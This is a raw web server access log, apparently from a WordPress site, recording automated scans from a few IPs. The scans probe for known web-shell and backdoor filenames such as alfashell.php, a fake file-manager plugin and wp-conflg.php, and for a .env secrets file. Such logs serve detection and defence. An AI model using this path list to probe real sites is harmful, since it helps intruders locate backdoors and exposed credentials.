[02/Mar/2026:18:14:02 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:59 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:21:26 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:34 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:37 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:13 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:26 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:02 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:31 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:55 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:58 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:02 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:02 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:02 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:13 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:54 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:34:00 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:23 +0300] "GET //qwas.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:50 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:53 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:55 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:05 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:09 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:20:16 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:21:08 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:44 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:48 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:24 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:27 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:27 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:30 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:30 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:30 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:45 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:32:31 +0300] "GET //log.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:22 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:28 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:32 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 170.106.167.214 - - [02/Mar/2026:18:08:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.12.82.80 - - [02/Mar/2026:18:14:52 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:23 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:26 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:58 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:11 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:14 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:18 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:19 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:38 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:13 +0300] "GET //wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:37 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:40 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:44 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:44 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:29:14 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:29:49 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:29:57 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:12 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:44 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:48 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:33:44 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:08 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:12 +0300] "GET //dox.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:34 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:01 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:28 +0300] "GET /fleen.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:31 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:18:38 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:07 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:44 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:44 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:49 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:34 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:35 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:53 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:03 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:18 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:19 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:19 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:31 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:31 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:01 +0300] "GET /tymn.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:30 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:33 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:34:11 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:34:19 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:34:49 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:35:09 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 43.153.86.78 - - [02/Mar/2026:18:57:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 51.12.82.80 - - [02/Mar/2026:18:34:55 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 89.163.146.197 - - [02/Mar/2026:20:36:13 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.232.90.96 - - [02/Mar/2026:22:11:13 +0300] "GET //qwas.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:39 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 158.94.208.230 - - [02/Mar/2026:22:04:51 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 4.232.90.96 - - [02/Mar/2026:22:13:41 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:12 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 144.91.97.38 - - [02/Mar/2026:21:19:50 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.7.227.204 - - [02/Mar/2026:21:39:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.125.48.182 - - [02/Mar/2026:21:56:21 +0300] "GET /wp-content/plugins/woocommerce/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15" 4.232.90.96 - - [02/Mar/2026:22:10:49 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:02 +0300] "GET //2.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:25 +0300] "GET /btx25.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:23 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:28 +0300] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:11 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:10 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:21:08:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:10:44 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:28 +0300] "GET /cfgy.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:15 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:53 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:59 +0300] "GET /wsvvs.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:10:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:41 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:45 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:48 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:51 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:53 +0300] "GET //h.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:23 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:27 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 194.71.228.131 - - [02/Mar/2026:22:14:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.3" 4.232.90.96 - - [02/Mar/2026:22:10:55 +0300] "GET /eee.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:00 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:04 +0300] "GET //dox.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:33 +0300] "GET /jbuft.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:36 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:03 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:12:47 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:50 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:20 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:20 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:11:24 +0300] "GET /claw.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:20 +0300] "GET /autogooey.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:13:55 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:35 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:35 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:39 +0300] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:27 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:32 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:32 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:34 +0300] "GET /fleen.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:23 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:28 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:57 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:01 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:57 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:39 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:42 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:07 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:41 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:44 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:44 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:47 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:46 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:22 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:49 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:48 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:24:06 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:14 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:17 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:39 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:10 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:09 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:39 +0300] "GET /styll.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:43 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:28 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:31 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:35 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:41 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:22 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:29 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:32 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:24:10 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:14:52 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:15 +0300] "GET //sc.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:19 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:23 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:21 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:24 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:10 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:13 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:03 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:21 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:25 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:53 +0300] "GET //log.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:54 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:58 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:17:39 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:17:40 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:49 +0300] "GET //assets/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:52 +0300] "GET /w4.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:54 +0300] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:57 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:18 +0300] "GET /tymn.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:38 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:42 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:31 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:21:31 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:30 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:49 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:03 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:16:06 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:17:49 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:17:55 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:17 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:24 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:20:27 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:22:16 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 43.157.142.101 - - [02/Mar/2026:23:47:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.232.90.96 - - [02/Mar/2026:22:14:59 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:02 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:08 +0300] "GET //1.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:47 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:15:50 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:18:37 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:03 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:19:49 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.232.90.96 - - [02/Mar/2026:22:23:00 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 194.31.72.75 - - [03/Mar/2026:00:37:31 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.130.16.212 - - [03/Mar/2026:00:35:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.104.19.195 - - [03/Mar/2026:02:05:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 170.64.227.47 - - [03/Mar/2026:01:41:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.220.227.4 - - [03/Mar/2026:02:03:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 159.223.93.93 - - [03/Mar/2026:02:37:13 +0300] "GET /wp-content/plugins/profile-builder/readme.txt HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 77.90.185.5 - - [03/Mar/2026:03:45:31 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 43.157.38.228 - - [03/Mar/2026:05:22:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 